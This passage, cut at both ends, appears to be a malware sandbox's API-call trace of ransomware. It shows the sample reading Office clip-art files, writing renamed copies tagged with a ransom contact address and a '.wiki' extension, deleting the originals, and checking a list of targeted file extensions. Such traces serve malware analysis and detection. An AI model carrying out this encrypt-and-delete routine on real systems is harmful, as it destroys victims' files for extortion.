lpNumberOfBytesWritten=0x2dcfc9c*=0x62f0, lpOverlapped=0x0) returned 1 [0199.475] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.475] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.475] SetEndOfFile (hFile=0x20c) returned 1 [0199.476] CloseHandle (hObject=0x20c) returned 1 [0199.476] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.476] SetEndOfFile (hFile=0x220) returned 1 [0199.477] CloseHandle (hObject=0x220) returned 1 [0199.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0199.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.477] lstrlenW (lpString=".doc") returned 4 [0199.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.477] lstrlenW (lpString=".docx") returned 5 [0199.477] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.477] lstrlenW (lpString=".pdf") returned 4 [0199.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.477] lstrlenW (lpString=".xls") returned 4 [0199.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.477] lstrlenW (lpString=".xlsx") returned 5 [0199.477] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.478] lstrlenW (lpString=".ppt") returned 4 [0199.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString=".zip") returned 4 [0199.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.478] lstrlenW (lpString=".rar") returned 4 [0199.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString=".bz2") returned 4 [0199.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString=".7z") returned 3 [0199.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString=".dbf") returned 4 [0199.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString=".1cd") returned 4 [0199.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString=".jpg") returned 4 [0199.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.478] lstrlenW (lpString=".doc") returned 4 [0199.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString=".docx") returned 5 [0199.478] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.478] lstrlenW (lpString=".pdf") returned 4 [0199.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.478] lstrlenW (lpString=".xls") returned 4 [0199.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.479] lstrlenW (lpString=".xlsx") returned 5 [0199.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.479] lstrlenW (lpString=".ppt") returned 4 [0199.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.479] lstrlenW (lpString=".zip") returned 4 [0199.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.479] lstrlenW (lpString=".rar") returned 4 [0199.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.479] lstrlenW (lpString=".bz2") returned 4 [0199.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.479] lstrlenW (lpString=".7z") returned 3 [0199.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.479] lstrlenW (lpString=".dbf") returned 4 [0199.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.479] lstrlenW (lpString=".1cd") returned 4 [0199.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0199.479] lstrlenW (lpString=".jpg") returned 4 [0199.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.479] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.479] lstrlenW (lpString="J0185790.WMF") returned 12 [0199.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.480] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=20662) returned 1 [0199.480] CloseHandle (hObject=0x220) returned 1 [0199.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 0x20 [0199.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.480] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.480] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.482] GetLastError () returned 0x0 [0199.482] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x50b6, lpOverlapped=0x0) returned 1 [0199.491] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x50c0, lpOverlapped=0x0) returned 1 [0199.492] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.492] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.492] SetEndOfFile (hFile=0x20c) returned 1 [0199.492] CloseHandle (hObject=0x20c) returned 1 [0199.492] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.493] SetEndOfFile (hFile=0x220) returned 1 [0199.493] CloseHandle (hObject=0x220) returned 1 [0199.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0199.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.494] lstrlenW (lpString=".doc") returned 4 [0199.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.494] lstrlenW (lpString=".docx") returned 5 [0199.494] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.494] lstrlenW (lpString=".pdf") returned 4 [0199.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.494] lstrlenW (lpString=".xls") returned 4 [0199.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.494] lstrlenW (lpString=".xlsx") returned 5 [0199.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.494] lstrlenW (lpString=".ppt") returned 4 [0199.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.494] lstrlenW (lpString=".zip") returned 4 [0199.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.494] lstrlenW (lpString=".rar") returned 4 [0199.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.494] lstrlenW (lpString=".bz2") returned 4 [0199.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.494] lstrlenW (lpString=".7z") returned 3 [0199.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString=".dbf") returned 4 [0199.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString=".1cd") returned 4 [0199.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString=".jpg") returned 4 [0199.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString=".doc") returned 4 [0199.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString=".docx") returned 5 [0199.495] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.495] lstrlenW (lpString=".pdf") returned 4 [0199.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString=".xls") returned 4 [0199.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.495] lstrlenW (lpString=".xlsx") returned 5 [0199.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.495] lstrlenW (lpString=".ppt") returned 4 [0199.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.495] lstrlenW (lpString=".zip") returned 4 [0199.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.495] lstrlenW (lpString=".rar") returned 4 [0199.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.495] lstrlenW (lpString=".bz2") returned 4 [0199.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.496] lstrlenW (lpString=".7z") returned 3 [0199.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.496] lstrlenW (lpString=".dbf") returned 4 [0199.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.496] lstrlenW (lpString=".1cd") returned 4 [0199.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0199.496] lstrlenW (lpString=".jpg") returned 4 [0199.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.496] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.496] lstrlenW (lpString="J0185798.WMF") returned 12 [0199.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.497] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=33824) returned 1 [0199.497] CloseHandle (hObject=0x220) returned 1 [0199.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 0x20 [0199.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.594] GetLastError () returned 0x0 [0199.594] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x8420, lpOverlapped=0x0) returned 1 [0199.629] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8430, lpOverlapped=0x0) returned 1 [0199.630] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.630] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.631] SetEndOfFile (hFile=0x20c) returned 1 [0199.631] CloseHandle (hObject=0x20c) returned 1 [0199.631] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.631] SetEndOfFile (hFile=0x220) returned 1 [0199.632] CloseHandle (hObject=0x220) returned 1 [0199.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0199.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.632] lstrlenW (lpString=".doc") returned 4 [0199.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.632] lstrlenW (lpString=".docx") returned 5 [0199.632] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.632] lstrlenW (lpString=".pdf") returned 4 [0199.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.632] lstrlenW (lpString=".xls") returned 4 [0199.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.633] lstrlenW (lpString=".xlsx") returned 5 [0199.633] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.633] lstrlenW (lpString=".ppt") returned 4 [0199.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.633] lstrlenW (lpString=".zip") returned 4 [0199.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.633] lstrlenW (lpString=".rar") returned 4 [0199.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString=".bz2") returned 4 [0199.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString=".7z") returned 3 [0199.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.633] lstrlenW (lpString=".dbf") returned 4 [0199.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.633] lstrlenW (lpString=".1cd") returned 4 [0199.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.633] lstrlenW (lpString=".jpg") returned 4 [0199.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.634] lstrlenW (lpString=".doc") returned 4 [0199.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString=".docx") returned 5 [0199.634] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.634] lstrlenW (lpString=".pdf") returned 4 [0199.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString=".xls") returned 4 [0199.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.634] lstrlenW (lpString=".xlsx") returned 5 [0199.634] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.634] lstrlenW (lpString=".ppt") returned 4 [0199.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.634] lstrlenW (lpString=".zip") returned 4 [0199.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.634] lstrlenW (lpString=".rar") returned 4 [0199.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString=".bz2") returned 4 [0199.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString=".7z") returned 3 [0199.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.634] lstrlenW (lpString=".dbf") returned 4 [0199.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.634] lstrlenW (lpString=".1cd") returned 4 [0199.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0199.634] lstrlenW (lpString=".jpg") returned 4 [0199.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.635] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.635] lstrlenW (lpString="J0187647.WMF") returned 12 [0199.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.635] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6596) returned 1 [0199.635] CloseHandle (hObject=0x220) returned 1 [0199.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 0x20 [0199.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.636] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.636] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.636] GetLastError () returned 0x0 [0199.636] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x19c4, lpOverlapped=0x0) returned 1 [0199.638] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x19d0, lpOverlapped=0x0) returned 1 [0199.639] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.639] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.639] SetEndOfFile (hFile=0x20c) returned 1 [0199.639] CloseHandle (hObject=0x20c) returned 1 [0199.639] SetFilePointerEx (in: hFile=0x220, 